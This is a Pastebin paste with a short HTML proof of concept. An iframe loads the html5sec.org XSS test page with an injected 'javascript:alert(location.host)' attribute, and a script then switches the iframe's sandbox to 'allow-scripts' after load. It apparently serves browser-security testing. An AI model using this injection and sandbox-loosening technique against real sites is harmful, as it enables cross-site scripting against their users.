Guest User

Untitled

a guest
Oct 2nd, 2011
1,485
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.31 KB | None | 0 0
  1. <iframe
  2. id="test"
  3. src="http://html5sec.org/xssme?xss=%20href=javascript:alert(location.host)%20x="
  4. sandbox
  5. style="width: 100%; height: 100%;"></iframe>
  6.  
  7. <script>
  8. var iframe = document.getElementById('test');
  9. iframe.addEventListener('load', function() {
  10. iframe.sandbox = 'allow-scripts';
  11. });
  12. </script>
  13.  
Advertisement
Add Comment
Please, Sign In to add comment